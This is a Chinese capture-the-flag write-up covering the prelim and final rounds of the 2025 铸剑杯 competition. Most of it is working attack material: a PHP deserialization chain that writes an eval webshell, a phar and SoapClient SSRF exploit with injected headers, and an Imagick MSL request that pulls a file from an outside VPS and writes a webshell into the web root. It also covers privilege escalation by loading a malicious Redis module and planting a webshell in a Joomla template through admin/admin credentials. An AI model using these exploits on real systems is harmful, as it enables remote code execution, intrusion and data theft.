2025铸剑杯预赛+决赛WP
from 0RAYS Mak4R1
二等奖,职业生涯第二张2w的牌子(

预赛
浅析php原生类
大致思路就是先利用ZipArchive类的open('file',8)方法,将install.lock删除

然后利用destruct写马

由于wakeup的优先级比destruct高因此可以先走wakeup->tostring->invoke来删除install.lock,然后通过destruct写入序列化数据(username为:username为木马的install对象)来写马即可
<?php
// highlight_file(__FILE__);
//
class install {
private $username;
private $password;
public function __construct($f)
{
if($f === 1){
$this->username=new install(2);
$this->password = "<?php eval(\$_GET['a']); ?>";
}else if($f === 2){
$this->username = new Until();
$this->password = "<?php eval(\$_GET['a']); ?>";
}
}
public function __wakeup()
{
echo "Hello,".$this->username;
}
public function __toString()
{
($this->username)();
return "Guest";
}
public function __destruct()
{
if(0){
// exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}
class Until {
public $a = "ZipArchive";
public $b = "install.lock";
public $c = 8;
public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}
public function __toString()
{
return "HappyUnserialize";
}
public function write($cla, $file, $cont)
{
echo "write $cla $file $cont\n";
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}
echo urlencode(serialize(new install(1)));
文明参赛注意素质
扫目录可以发现/admin为admin登录界面,pass.txt为账密admin/admin,以及index.php.bak,是一部分源码
/admin/auth.php中只要从127.0.0.1发送一个post参数就会提供authcode
在index.php.bak提供的类中
function __destruct(){
if($this->test!=NULL){
$this->test->back();
}
}
反序列化会执行test属性的back方法
同时写笔记的地方,path传入已存在的文件会提示"file exsists",应该会引用file_exist函数,同时index.php.bak有destruct方法会执行属性中的一个方法,且auth.php要求SSRF,那么就想到利用phar,SoapClient的反序列化+执行不存在的方法来触发SSRF
phar,zip,php被ban了,compress.zlib://phar://就可以绕
exp:
<?php
class create_treehole{
public $path;
public $realpath = "";
public $complaint = "";
public $test;
function make(){
/**/
}
function back(){
echo "Your worries are saved in ".$this->realpath."</br>";
}
function create_name($str){
$salt='';
for ($i = 0; $i < 10; $i++){
$salt .= chr(mt_rand(33,126));
}
$str = "./treehole/".md5($str.$salt).".txt";
return $str;
}
// function __destruct(){
// if($this->test!=NULL){
// $this->test->back();
// }
// }
}
$cr = new create_treehole();
$a = new SoapClient(null,array('location'=> 'http://127.0.0.1/admin/auth.php','user_agent'=>'wupco\r\nContent-Type: application/x-www-form-urlencoded\r\n'.'X-Forwarded-For: 127.0.0.1\r\nCookie: admin=1'.'\r\nContent-Length: '.'46'.'\r\n\r\n'.'salt=1','uri'=>"peri0d"));
$target = 'http://127.0.0.1/admin/auth.php';
$post_string = 'salt=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco\r\nContent-Type: application/x-www-form-urlencoded\r\n' . join('\r\n', $headers) . '\r\nContent-Length: ' . (string)strlen($post_string) . '\r\n\r\n' . $post_string, 'uri' => "aaab"));
$cr -> test = $b;
@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$phar->setMetadata($cr); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
ps:这里比赛时一直打不通,不知道为什么,当时是把\r\n url编码了,可能是这个原因
然后拿到authcode登录admin即可
决赛
挑战赛
场景1
源码和bytectf2024的ezobj相同,当时是先xxe拿key然后Imagick落地恶意so到/tmp,打LD_PRELOAD,但是当时那道题是web目录不可写的,这道题web目录可写,直接Imagick往web目录写马就行了,难崩
(靶机和本地互通)
POST /?cloversec=Imagick&ctf=vid:msl:/tmp/php* HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Length: 348
------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" />
<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--
打进去以后要提权,有个redis服务,/etc/redis/redis.conf有密码,最后面有:
rename slaveof ""
load-module-enable local
虽然主从复制无了,但是直接MODULE LOAD加载恶意exp执行系统代码即可
MODULE LOAD "/tmp/exp.so"
system.exec "cat /root/flag"
内网里东西挺多的,可惜出的晚,最后没时间打了
靶场赛(1)
题目ip忘了
1
joomla有个路由/administrator,弱口令admin/admin登录
在这里修改/templates/cassiopeia/index.php为一句话木马即可RCE


还有好多弱口令和免费的RCE,比赛打完就忘了









Comments NOTHING